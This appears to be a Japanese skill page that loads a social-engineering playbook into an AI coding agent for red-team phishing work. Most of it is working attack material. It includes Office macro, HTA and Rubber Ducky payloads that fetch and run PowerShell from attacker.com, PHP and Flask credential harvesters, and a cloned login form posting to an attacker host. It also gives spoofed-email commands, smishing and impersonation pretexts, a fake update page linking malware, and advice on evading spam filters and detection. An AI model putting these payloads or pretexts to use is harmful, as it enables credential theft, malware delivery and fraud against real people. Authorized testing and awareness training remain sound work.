performing-social-engineering について
許可を得たレッドチーム活動やセキュリティ意識向上施策向けのソーシャルエンジニアリング評価スキルです。メール、音声、SMS、USB、ブラウザーを使うシナリオの計画と実施を扱い、書面での許可、範囲、データ管理を重視します。
主な機能
- 01フィッシングキャンペーンの計画
- 02メールと認証情報収集の手法
- 03音声、SMS、QRコードのシナリオ
- 04USBとブラウザーを使う手法
- 05許可とデータ管理の指針
活用シーン
- 01許可を得たフィッシング評価の実施
- 02範囲を定めたシナリオでの従業員意識テスト
- 03ソーシャルエンジニアリング演習の計画と報告
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill performing-social-engineeringインストール後、Claude Code で/performing-social-engineeringを入力して読み込まれたか確認します。
詳細
ソーシャルエンジニアリングの実施
使用する場合
- フィッシングキャンペーンの実施
- 認証情報の窃取
- ソーシャルエンジニアリングの評価
- レッドチーム演習
- セキュリティ意識のテスト
使用しない場合
- 書面による承認と明確なスコープがないキャンペーン — 中止してください
- クリック後の技術的なエクスプロイト — 該当する侵害後のスキルを使用してください
- 受信したフィッシングメールの分析 —
analyzing-phishing-emailsを使用してください (ヘッダー、リンク、添付ファイル)。実行したペイロードにはanalyzing-malwareを使用してください
フィッシングインフラストラクチャ
Gophish(フィッシングフレームワーク)
# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish
# Access web interface
https://localhost:3333
# Default: admin:gophish
Gophish キャンペーンのセットアップ:
- メールテンプレート - 信頼性の高いフィッシングメールを作成します
- ランディングページ - 認証情報を窃取するため、正規サイトを複製します
- 送信プロファイル - SMTP サーバーを設定します
- グループ - 標的ユーザーのリストをインポートします
- キャンペーン - すべての要素を組み合わせて開始します
SET(ソーシャルエンジニアリングツールキット)
# Launch SET
setoolkit
# Common modules:
# 1) Social-Engineering Attacks
# 1) Spear-Phishing Attack Vectors
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
認証情報の収集:
# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted
メールフィッシング
メールのなりすまし
# sendEmail (simple SMTP client)
sendEmail -f [email protected] \
-t [email protected] \
-u "Urgent: Password Reset Required" \
-m "Click here to reset: http://evil.com/reset" \
-s smtp.server.com:25
# swaks (SMTP testing tool)
swaks --to [email protected] \
--from [email protected] \
--header "Subject: Important Update" \
--body "Please review: http://evil.com" \
--server smtp.company.com
添付ファイルを使ったフィッシング
悪意のある Office マクロ:
' Excel/Word VBA macro — AutoOpen fires on document open once macros are enabled
Sub AutoOpen()
Shell "powershell -nop -w hidden -c ""I[E]X((new-object net.web[c]lient).download[s]tring('http://attacker.com/payload.ps1'))"""
End Sub
角括弧で分割されています。
I[E]XはIEX、net.web[c]lientはnet.webclient、download[s]tringはdownloadstringです。このブロックをそのまま記述すると、 標準のTrojanDownloader:O97Mシグネチャになります。リポジトリの README にある「ウイルス対策ソフトの誤検知」を参照してください。
悪意のある PDF:
# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection
悪意のある HTA:
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>
正規サイトの複製
# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/
# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com
# Manual with curl
curl -o index.html http://legitimate-site.com/login
# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">
認証情報収集サーバー
シンプルな PHP 収集ツール:
<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);
// Redirect to real site
header('Location: https://real-site.com');
?>
Python Flask 収集ツール:
from flask import Flask, request, redirect
app = Flask(__name__)
@app.route('/login', methods=['POST'])
def harvest():
with open('creds.txt', 'a') as f:
f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
return redirect('https://real-site.com')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
音声フィッシング(ビッシング)
SpoofCard/発信者番号のなりすまし
- 発信者番号を偽装するサービス
- IT サポート、経営幹部、ベンダーになりすます
- 電話を使ったソーシャルエンジニアリング
よくある口実:
- 認証情報の確認が必要な IT サポート
- 個人情報を確認する人事部門
- 電信送金を確認する財務部門
- 支払い情報の更新を求めるベンダー
SMS フィッシング(スミッシング)
# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands
# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"
USB ドロップ攻撃
Rubber Ducky/Bad USB
Ducky スクリプトの例:
REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')
ENTER
Bash Bunny:
# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.
USB メモリの物理的な設置
口実:
- 「会社の財務データ 2024」
- 「給与情報 - 機密」
- 「従業員ボーナス 第4四半期」
- 「IT セキュリティアップデート - 必須」
ペイロードのアイデア:
- リバースシェル
- 認証情報窃取ツール
- キーロガー
- データの持ち出し
- 永続化の仕組み
QR コードフィッシング
# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"
# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"
水飲み場型攻撃
- 標的組織がよく訪問するサイトを特定します
- ウェブサイトを侵害します(または類似サイトを作成します)
- 悪意のあるコードを挿入します(エクスプロイトまたはプロファイリング)
- 標的がサイトを訪問して侵害されるのを待ちます
ブラウザベースの攻撃
BeEF(ブラウザエクスプロイトフレームワーク)
# Start BeEF
./beef
# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>
# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef
# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting
偽のアップデートページ
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>
口実を用いたシナリオ
IT サポート:
- 「こんにちは。IT 部門の John です。定期的なパスワードリセットを実施しています……」
- 「お客様のアカウントで不審なアクティビティを検出しました……」
- 「VPN 証明書の有効期限が近づいているため、更新する必要があります……」
経営幹部へのなりすまし:
- 「こちらは[CEO の名前]です。会議中なので、あなたに……してほしいのですが」
- 「緊急:本日中に電信送金が必要です……」
- 「出張中でアカウントにアクセスできません。手伝ってもらえますか……」
ベンダー/パートナー:
- 「こちらは[ベンダー]の経理部門です。支払い情報を更新する必要があります……」
- 「請求書の支払期限が過ぎています。請求情報を更新してください……」
配達/配送:
- 「荷物を配達できませんでした。住所を確認してください……」
- 「通関手続きが必要です。こちらで料金をお支払いください……」
LinkedIn/ソーシャルメディアの偵察
# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects
# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)
# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks
ペイロードの配信方法
リンク:
- 短縮 URL(bit.ly、tinyurl)
- タイポスクワッティングドメイン
- ホモグラフ攻撃(IDN ホモグラフ)
- URL の難読化
添付ファイル:
- マクロを含む Office ドキュメント(.docm、.xlsm)
- エクスプロイト/JavaScript を含む PDF
- 圧縮ファイル(.zip、.rar)
- ISO/IMG ファイル
- LNK ファイル(ショートカットを悪用する手口)
高度な手法:
- HTML スマグリング
- ポリグロットファイル
- パスワード保護されたアーカイブ(AV の回避)
- 署名付きマルウェア(盗難または偽造された証明書)
トラッキングとレポート
メールのトラッキング:
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">
リンクのトラッキング:
# Unique URL per target
http://attacker.com/click?id=USER123
# Log access in server
追跡する指標:
- 送信したメール数
- 開封されたメール数(トラッキングピクセル)
- クリックされたリンク数
- 入力された認証情報の数
- 開封された添付ファイルの数
- 最初のクリック/入力までの時間
OpSec に関する考慮事項
インフラストラクチャ:
- 使い捨てのドメインを使用する
- 認証情報の窃取には HTTPS を使用する
- 正規の SSL 証明書を使用する(Let's Encrypt)
- ドメインをカテゴリ分けする(カテゴリ分類サービスに登録する)
- ホスティングには CDN を使用する(CloudFlare)
メール:
- SPF/DKIM/DMARC の整合性を確保する
- メールの評価を徐々に高める
- 似ているが異なるドメインを使用する(company.com と company-portal.com など)
- スパム判定の引き金となる語句を避ける
検出の回避:
- 現実的な送信者名とメールアドレスを使用する
- プロフェッショナルなメール文面にする
- 既知の悪意あるインジケーターを避ける
- 時間帯を考慮して配信する(営業時間内)
- ジオフェンシングを適用する(対象地域のみ)
ツールの概要
- Gophish - フィッシングキャンペーン管理
- SET - ソーシャルエンジニアリングツールキット
- BeEF - ブラウザーのエクスプロイト
- King Phisher - フィッシングキャンペーン用ツールキット
- Evilginx2 - MITM フィッシングプロキシ(2FA を回避)
- Modlishka - リバースプロキシ型フィッシング
- CredSniper - 2FA トークンの取得
- ShellPhish - フィッシングの自動化
防御意識の向上
次の点に気づけるよう、ユーザーに教育します。
- 緊急性や圧力をかける手口
- 認証情報を求める依頼
- 見慣れない送信者
- 不審なリンク/添付ファイル
- うますぎる話
- セキュリティを回避するよう求める依頼
法的・倫理的な考慮事項
- 必ず書面による許可を得る
- スコープを明確に定義する
- 取得したデータを保護する
- ROE(エンゲージメントルール)に従う
- 発見事項を責任ある方法で報告する
- エンゲージメント終了後にデータを削除する
ATT&CK の対象範囲
secskills-core/ttp-index.json から生成されています。このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、
ID が現在の ATT&CK リリースと一致することを再確認してください。
偵察(TA0043)
- T1589 被害者の ID 情報を収集 —
performing-reconnaissanceも参照 - T1591 被害者組織の情報を収集 —
performing-reconnaissanceも参照 - T1598 情報を狙ったフィッシング —
analyzing-phishing-emailsも参照
リソース開発(TA0042)
初期アクセス(TA0001)
- T1189 ドライブバイ侵害
- T1566 フィッシング —
analyzing-phishing-emailsも参照 - T1566.001 スピアフィッシング添付ファイル —
analyzing-malware、analyzing-phishing-emailsも参照 - T1566.002 スピアフィッシングリンク —
analyzing-phishing-emailsも参照
実行(TA0002)
これらのいずれかに対応する検出コンテンツ:engineering-detections。プロアクティブな探索:hunting-threats。侵害後の対応:responding-to-incidents。